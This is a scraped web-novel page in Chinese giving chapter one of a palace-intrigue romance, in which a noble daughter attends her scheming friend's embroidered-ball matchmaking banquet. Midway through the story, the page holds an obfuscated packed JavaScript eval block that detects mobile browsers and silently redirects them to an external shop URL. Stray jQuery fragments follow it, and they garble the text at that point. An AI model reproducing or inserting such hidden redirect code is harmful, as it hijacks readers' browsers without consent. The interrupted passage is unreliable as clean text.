文趣网 > 其他小说 > 一捧司香满月枝 > 1. 第 一 章
    暮春日,花香掩去冬日寒气,京都百姓们来往于街巷,有茶馆听书的、买卖谋生的、赶集办事的……

    街巷最为热闹的便是鹊仙楼,楼阁内外人声鼎沸,挂满红绸,窗棂由朱红色的剪纸点缀着,大小不一的红灯笼沿着屋檐四角挂着,显得错落有致。

    马车陆续停在鹊仙楼外,单从马车外头的精细模样看,都是些门第显赫的望族,引得路过的百姓纷纷够头垫脚地往楼阁里面瞧。

    褚眠殊由身边嬷嬷轻扶着下马车,随姐姐们缓步入楼,耳畔忽而听到那街边老妇的吆喝声,顿时停步望去。

    “都来瞧瞧,今日是这李府李娘子的绣球招亲宴,这李府李娘子啊更是个美娇娘呢!”

    此话一说,妇人们明显不信低声质疑道:“老婆子,你又在胡说,我可记得李府就一个庶女,怎么还给庶女办什么绣球招亲,岂不惹人笑话?”

    这话道出,众人也觉得有道理,那老婆子似是早有准备,故作叹气:“各位有所不知,这李娘子虽为庶女,但不愿草草婚配,便以命相逼才换得这场绣球招亲,哎,也是个可怜人”

    听老婆子这话,顿时风评一转,皆赞叹这李娘子是个烈性女子,都要去捧个场。

    褚眠殊听着这番说辞眉心微皱,总觉哪里不对劲。

    “五娘子,入楼吧”身后的秦嬷嬷低声提点着,褚眠殊只得压下疑虑,只当是自己多心,抬步上楼。

    楼上临着马行街的雅间里,仕女们眉宇间都画着别致的花钿,头戴珠翠,衣着贵气,不时品茶、尝些这鹊仙楼出了名的点心,人人面露娇笑。

    褚眠殊落坐,抬眼望去。世家夫人们被李夫人安排在单独的雅间,彼此交好的夫人们坐在一块不一会儿便谈笑风生,说着趣事。

    余下世家贵女们三三两两扎坐几小堆闲谈着,聊着过几日后的春猎宴,话语琐碎,褚眠殊只觉无趣。

    一旁的扶摇郡主白浮窈无心附和,她藏身在朱红色的布帘后,俯身望向鹊仙楼下等着绣球招亲的一众男子。

    却见这楼下正经的世家子弟极少,大半都是些名声败坏,常年流转于烟花柳巷中的浪荡之徒,可谓是声名狼藉,京都贵女们向来避而远之。

    随即敛袖而归,缓缓落座,和平日里一起玩闹的姐妹们对视一笑,彼此眼中的嘲讽不言而喻。

    褚眠殊将这一幕尽收眼底,却神色暗淡,对这些暗藏的心思毫不在意。

    白浮窈目光一转,落在了褚眠殊身上,少女身着一条淡紫色的长衫百迭裙,乌发梳成轻云髻,几朵淡雅的绢花缀在发中,步摇轻垂于侧,随她品茶的动作轻轻晃动,晃动幅度张弛有度。

    还未长开的容颜肤若凝脂,透出淡淡的粉晕,朱唇釉色,眉心一点淡紫色海棠花花钿是整个妆面的点睛之笔。

    若论容貌,白浮窈自认不如褚眠殊,可若是论身份,她可是扶摇郡主,褚眠殊一介庶女不过是撞了运道才由庶变嫡,怎么能拿来跟她评头论足。

    偏偏这京都贵女中总爱用来与她相比的就是褚眠殊,这总令她不快。

    知晓今日绣球招亲的主角李禾顷是褚眠殊的闺中密友,白浮窈含笑,意有所指的开口:

    “褚五娘子今日怎会有空前来凑这绣球招亲的热闹,平日里我相邀,可从未见过褚五娘子到场”

    闻声,褚眠殊抬眸望向白浮窈,这番话说着,明面上说着她,暗面却在摸黑着她身后的褚家身为百年世家望族,又为礼部尚书府,教养却如此散漫,府中的闺阁女子竟毫无规矩。

    诋毁着她,还不忘带着尚书府,褚眠殊心下淡然

    自幼她和白浮窈就互相看不顺眼,二人从文鹤堂的文学比拼到琴棋书画,白浮窈样样都占得倒二,她都倒一垫底了,却偏偏总揪着她不放,实在令人费解。

    这番细想,褚眠殊着实心累,既然白浮窈敢说,她又怎么能辜负她的“一番好意”。

    随即叹了口气,装出一副很是遗憾无辜的模样:“哎,俗话说,未出阁的女子当一门不出二门不迈,并非有意不去郡主的宴席”

    褚眠殊说的正起劲,将学到的规矩都细细说道:“无奈郡主的邀约太多,实在分心乏术,才未能前去赴宴,还望郡主不要以小人之心度君子之腹”

    一句话落下,阁楼内瞬间鸦雀无声,众贵女们脸色青白交错,个个局促不安。

    褚眠殊一语双关,深知自己这话说的明了,心底不禁一笑,她就是要这样的结果。

    既将满楼阁中的女子都点明一番,更是说的白浮窈脸都黑了个度,让这些贵女们日后还是口中积德些,不要来招惹她。

    明面说着白浮窈大办多数宴席,毫无贵女风范、礼义教养,更在提点她们这些随时应下白浮窈邀约的贵女们也一样没有礼仪教养。

    她们都还未出阁,待字闺中,又都是京中有威望的百年望族,褚眠殊此话若传出去,名声受损,只怕日后的婚嫁之事都不会好到哪去。

    白浮窈被褚眠眠几句话噎得哑口无言,只能气狠狠的忍下这口气,勉强撤出笑意:“褚五娘子说的是,受教了”

    一个小插曲就这么过去,楼阁中的世家贵女们经褚眠殊的一番点拨,也都安分不少。

    她们今日本就是受邀来李禾顷的绣球招亲,若闹出笑话,只会名声扫地。

    褚眠殊耳根子终于清净不少,想随身倚靠在椅背上休憩,毕竟坐了这么久,她腰都酸了。

    结果背还没靠到椅背上,耳边传来一声轻咳,褚眠殊心下无奈,只能继续挺直坐着。

    她方才发了一场隐晦的威风,倒是一时忘了身边还跟着母亲派来看管自己的秦嬷嬷。

    ——

    楼中一处厢房内,梳妆镜前一位娇俏少女,头戴珠冠,一袭绛朱色织金衫裙称的她容貌艳丽,眉宇间朱红色的花钿添了彩。

    镜中女子便是今日绣球招亲的主角,李府庶女李禾顷。

    “娘子,吉时到了”厢房内同在的贴身嬷嬷提醒着李禾顷。

    李禾顷望着铜镜中映出自己的容颜,眼底闪过一丝狠厉,嘴角上扬询问道:“都安排妥当了吗?”

    嬷嬷闻声,藏匿住眼中的笑意,恭敬附身:“娘子放心,一切都已准备妥当”

    闻言,李禾顷放下心,万事俱备,只欠东风,便抬手从梳妆盒中拿出一袋子金豆子,起身走到嬷嬷身边。

    将钱袋子递给王嬷嬷手上:“辛苦嬷嬷了”

    伺候了那么多高官厚禄的世家贵女,这钱袋子里的金豆子可是王嬷嬷从未被奖赏过的。

    毕竟李府的当家主母,她的主子可小气的紧,平日里不克扣月钱都还好,更别提赏钱。

    从未见过这么多金豆子的王嬷嬷当即跪地磕头:“多谢娘子,多谢娘子,老奴一定为你马首是瞻”

    李禾顷神色淡淡,没搭理这见钱眼开的老妈子,她是靠这些金豆子将嫡母身边的王嬷嬷给收买,让王嬷嬷给她办事。

    她李禾顷是李府的庶女,婚嫁由不得自己做主,这场绣球招亲,便是她以命换来的。

    如若自己嫁的不好,那么曾经同为庶女的她,也该和自己一样的结局……

    整理好心绪,李禾顷迈步走出厢房。门外几名身强力壮的老妇本想上前阻拦,王嬷嬷连忙出声:“吉时快到,娘子当前往绣阁”众人闻言,才纷纷让开道路。

    一路行至绣阁中,李禾顷掩下唇角的笑意,面柔和善的踏入绣阁中

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587459|205345||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    她继承和了母一样娇俏惹人怜爱的模样,一颦一笑都透着娇美。

    只是可惜,生母无能,产后失血而亡,她一介庶女又不得父亲喜爱,她若不能自救,将来只会落得任人践踏的下场。

    李禾顷走入绣阁,一众世家贵女与她相互俯首行礼,正与世家夫人们闲聊的李夫人笑的合不拢嘴,快步上前走到李禾顷身边。

    装作慈母的模样,眼中含泪开口:“今日便是顷儿的招亲日,你自幼在我膝下长大,我将你视作亲女,母亲真心为你高兴”

    李禾顷垂下眼眸,掩去眸中冷意,面上露出几分感伤,躬身回话:“劳母亲挂心”

    李夫人用帕子掩去眼角的泪,哽咽道:“去和诸位娘子们说话罢”

    李禾顷点头应声。

    “恭喜李娘子这般便要出嫁了”白浮窈开口道贺,语气中藏着幸灾乐祸,摆明了想看她笑话。

    其余世家贵女们见状,也都纷纷道贺,褚眠殊置身事外,看戏一样看着她们。

    她今日已经出过风头,再出一次的话,只怕母亲不会轻饶,索性安分当个空气。

    李禾顷从容一一应对,却径直朝褚眠殊走去,可再见到褚眠殊身旁站着的秦嬷嬷时,一时面色忽变。

    而后连忙低头掩下眼中心忧异色,朝秦嬷嬷恭敬道:“秦嬷嬷好”

    秦嬷嬷闻声,淡淡一笑以作回应。

    秦嬷嬷曾在宫中教导过公主皇子们的礼义规范,是出了名的冷面无私,连当今皇后都要尊敬几分,出宫后仍旧声名在外。

    作为陪嫁随着季氏女入褚家,此后在褚家三房主母身边伺候。

    只不过秦嬷嬷的出现,是李禾顷没有料到的,一时失了分寸。

    “阿殊,等会我抛绣球,你陪在我身侧可好?你是我唯一的好友,我想让你陪着我”李禾顷软声央求,眼底藏着算计。

    此话一出,一时让褚眠殊骑虎难下,她眉头紧锁,满是疑心。

    秦嬷嬷见状,高声开口解围:“诸位娘子们,等会一同陪着李娘子,莫让李娘子独自一人,失了礼仪”

    此话道出,褚眠殊暗暗松了口气,秦嬷嬷这话说得好,既没有拂了李禾顷的面子,又保下褚眠殊。

    李禾顷闻言,僵硬在原地,双手死死攥着手帕,嘴角的笑意在此话道出后变得僵硬。

    可她又不能露出异色,只能忍着,继续迎合着准备看她笑话的世家贵女们。

    转瞬间,似是忽然又想到一计,李禾顷伸手将手腕上的镯子退下,藏在袖中,招呼着王嬷嬷,贴耳说了什么。

    王嬷嬷领命,离开李禾顷身边,着急忙慌的朝厢房跑去,慌乱间撞到褚眠殊身上。

    褚眠殊认出王嬷嬷是李禾顷身边伺候的人,开口询问:“何事如此慌张?”

    王嬷嬷连连赔罪,佯装惶恐:“老奴失手冲撞贵人,还望恕罪!实在是我家娘子的玉镯遗落在厢房,吉时将近,我得赶紧回去取来”

    褚眠殊见她焦急模样,只当是下人粗心怕受责罚。想着留在席间也是拘束,便打算陪她走一趟,既帮对方解围,也能暂时躲开满堂规矩束缚:“嬷嬷莫慌,我陪你一同回厢房寻镯”

    她抬脚刚动,还未离开半步就被秦嬷嬷抬手拦下。

    秦嬷嬷在瞧见这位撞上她们的奴仆,一眼便瞧出这老奴拙劣的演技,走到褚眠殊身前,对着自家娘子道:

    “作为李娘子的好友,娘子还是不要离席的好,以防遭非议,坏了名声”

    话音落,秦嬷嬷转头对着王嬷嬷道:“不过寻个镯子,还是老身随王嬷嬷去吧!”

    李禾顷站在不远处,将这一幕看得清清楚楚,嘴角微微上扬,上钩了。